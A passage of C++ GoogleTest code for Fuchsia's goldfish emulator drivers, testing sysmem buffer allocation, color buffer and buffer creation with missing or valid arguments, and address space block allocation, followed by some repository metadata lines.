EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Try creating color buffer.
zx::vmo vmo_copy;
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateColorBuffer2() call without width will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
// Without width
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without height will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
// Without height
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without color format will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
// Without format
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
{
// Verify that a CreateColorBuffer2() call without memory property will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
// Without memory property
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
}
// In this test case we test arguments of CreateBuffer2() method.
// If a mandatory field is missing, it should return "ZX_ERR_INVALID_ARGS".
TEST(GoldfishControlTests, GoldfishControlTest_CreateBuffer2Args) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Try creating data buffers.
zx::vmo vmo_copy;
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateBuffer2() call without width will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
// Without size
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_INVALID_ARGS);
}
{
// Verify that a CreateBuffer2() call without memory property will fail.
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(4096))
// Without memory property
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_INVALID_ARGS);
}
}
// In this test case we call GetBufferHandle() on a vmo
// registered to the control device but we haven't created
// the color buffer yet.
//
// The FIDL interface should return ZX_ERR_NOT_FOUND.
TEST(GoldfishControlTests, GoldfishControlTest_GetNotCreatedColorBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto result = control.GetBufferHandle(std::move(vmo_copy));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_NOT_FOUND);
}
}
TEST(GoldfishAddressSpaceTests, GoldfishAddressSpaceTest) {
int fd = open("/dev/class/goldfish-address-space/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel parent_channel;
EXPECT_EQ(fdio_get_service_handle(fd, parent_channel.reset_and_get_address()), ZX_OK);
zx::channel child_channel;
zx::channel child_channel2;
EXPECT_EQ(zx::channel::create(0, &child_channel, &child_channel2), ZX_OK);
llcpp::fuchsia::hardware::goldfish::AddressSpaceDevice::SyncClient asd_parent(
std::move(parent_channel));
{
auto result = asd_parent.OpenChildDriver(
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverType::DEFAULT,
std::move(child_channel));
ASSERT_TRUE(result.ok());
}
constexpr uint64_t kHeapSize = 16ULL * 1048576ULL;
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriver::SyncClient asd_child(
std::move(child_channel2));
uint64_t paddr = 0;
zx::vmo vmo;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
paddr = result.Unwrap()->paddr;
EXPECT_NE(paddr, 0U);
vmo = std::move(result.Unwrap()->vmo);
EXPECT_EQ(vmo.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(vmo.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
zx::vmo vmo2;
uint64_t paddr2 = 0;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
paddr2 = result.Unwrap()->paddr;
EXPECT_NE(paddr2, 0U);
EXPECT_NE(paddr2, paddr);
vmo2 = std::move(result.Unwrap()->vmo);
EXPECT_EQ(vmo2.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(vmo2.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
{
auto result = asd_child.DeallocateBlock(paddr);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
{
auto result = asd_child.DeallocateBlock(paddr2);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// No testing into this too much, as it's going to be child driver-specific.
// Use fixed values for shared offset/size and ping metadata.
const uint64_t shared_offset = 4096;
const uint64_t shared_size = 4096;
const uint64_t overlap_offsets[] = {
4096,
0,
8191,
};
const uint64_t overlap_sizes[] = {
2048,
4097,
4096,
};
const size_t overlaps_to_test = sizeof(overlap_offsets) / sizeof(overlap_offsets[0]);
using llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverPingMessage;
AddressSpaceChildDriverPingMessage msg;
msg.metadata = 0;
EXPECT_TRUE(asd_child.Ping(std::move(msg)).ok());
{
auto result = asd_child.ClaimSharedBlock(shared_offset, shared_size);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// Test that overlapping blocks cannot be claimed in the same connection.
for (size_t i = 0; i < overlaps_to_test; ++i) {
auto result = asd_child.ClaimSharedBlock(overlap_offsets[i], overlap_sizes[i]);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
{
auto result = asd_child.UnclaimSharedBlock(shared_offset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
// Test that removed or unknown offsets cannot be unclaimed.
{
auto result = asd_child.UnclaimSharedBlock(shared_offset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
{
auto result = asd_child.UnclaimSharedBlock(0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
}
// This is a test case testing goldfish Heap, control device, address space
// device, and host implementation of host-visible memory allocation.
//
// This test case using a device-local Heap and a pre-allocated address space
// block to simulate a host-visible sysmem Heap. It does the following things:
//
// 1) It allocates a memory block (vmo = |address_space_vmo| and gpa =
// |physical_addr|) from address space device.
//
// 2) It allocates an vmo (vmo = |vmo|) from the goldfish device-local Heap
// so that |vmo| is registered for color buffer creation.
//
// 3) It calls goldfish Control FIDL API to create a color buffer using |vmo|.
// and maps memory to |physical_addr|.
//
// 4) The color buffer creation and memory process should work correctly, and
// heap offset should be a non-negative value.
//
TEST(GoldfishHostMemoryTests, GoldfishHostVisibleColorBuffer) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
EXPECT_EQ(fdio_get_service_handle(control_device_fd, control_channel.reset_and_get_address()),
ZX_OK);
// ----------------------------------------------------------------------//
// Setup sysmem allocator and buffer collection.
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
// ----------------------------------------------------------------------//
// Setup address space driver.
int address_space_fd = open("/dev/class/goldfish-address-space/000", O_RDWR);
EXPECT_GE(address_space_fd, 0);
zx::channel parent_channel;
EXPECT_EQ(fdio_get_service_handle(address_space_fd, parent_channel.reset_and_get_address()),
ZX_OK);
zx::channel child_channel;
zx::channel child_channel2;
EXPECT_EQ(zx::channel::create(0, &child_channel, &child_channel2), ZX_OK);
llcpp::fuchsia::hardware::goldfish::AddressSpaceDevice::SyncClient asd_parent(
std::move(parent_channel));
{
auto result = asd_parent.OpenChildDriver(
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriverType::DEFAULT,
std::move(child_channel));
ASSERT_TRUE(result.ok());
}
// Allocate device memory block using address space device.
constexpr uint64_t kHeapSize = 32768ULL;
llcpp::fuchsia::hardware::goldfish::AddressSpaceChildDriver::SyncClient asd_child(
std::move(child_channel2));
uint64_t physical_addr = 0;
zx::vmo address_space_vmo;
{
auto result = asd_child.AllocateBlock(kHeapSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
physical_addr = result.Unwrap()->paddr;
EXPECT_NE(physical_addr, 0U);
address_space_vmo = std::move(result.Unwrap()->vmo);
EXPECT_EQ(address_space_vmo.is_valid(), true);
uint64_t actual_size = 0;
EXPECT_EQ(address_space_vmo.get_size(&actual_size), ZX_OK);
EXPECT_GE(actual_size, kHeapSize);
}
// ----------------------------------------------------------------------//
// Use device local heap which only *registers* the koid of vmo to control
// device.
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
// ----------------------------------------------------------------------//
// Creates color buffer and map host memory.
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(control_channel));
{
// Verify that a CreateColorBuffer2() call with host-visible memory property,
// but without physical address will fail.
auto create_info =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_HOST_VISIBLE))
// Without physical address
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_info));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
EXPECT_LT(result.Unwrap()->hw_address_page_offset, 0);
}
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(0x02u))
.set_physical_address(std::make_unique<uint64_t>(physical_addr))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_GE(result.Unwrap()->hw_address_page_offset, 0);
}
// Verify if the color buffer works correctly.
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
// Cleanup.
{
auto result = asd_child.DeallocateBlock(physical_addr);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
}
using GoldfishCreateColorBufferTest =
testing::TestWithParam<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>;
TEST_P(GoldfishCreateColorBufferTest, CreateColorBufferWithFormat) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
GetParam()))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
}
INSTANTIATE_TEST_SUITE_P(
ColorBufferTests, GoldfishCreateColorBufferTest,
testing::Values(llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RGBA,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RG,
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::LUMINANCE),
[](const testing::TestParamInfo<GoldfishCreateColorBufferTest::ParamType>& info)
-> std::string {
switch (info.param) {
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RGBA:
return "RGBA";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA:
return "BGRA";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::RG:
return "RG";
case llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::LUMINANCE:
return "LUMINANCE";
}
});
int main(int argc, char** argv) {
if (access("/dev/sys/platform/acpi/goldfish", F_OK) != -1) {
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
return 0;
}
| 39.859185 | 100 | 0.702222 | DamieFC |
60091f85c3cbf1c99e3888111650ebcf95c5bef6 | 7,972 | cc | C++ | tools/mpi-imm.cc | hipdac-lab/ripples | a948bff8db199b0e9eb7b3492a8af0e9e738c26c | [
"Apache-2.0"
] | 17 | 2019-06-27T18:46:22.000Z | 2021-11-15T03:06:26.000Z | tools/mpi-imm.cc | hipdac-lab/ripples | a948bff8db199b0e9eb7b3492a8af0e9e738c26c | [
"Apache-2.0"
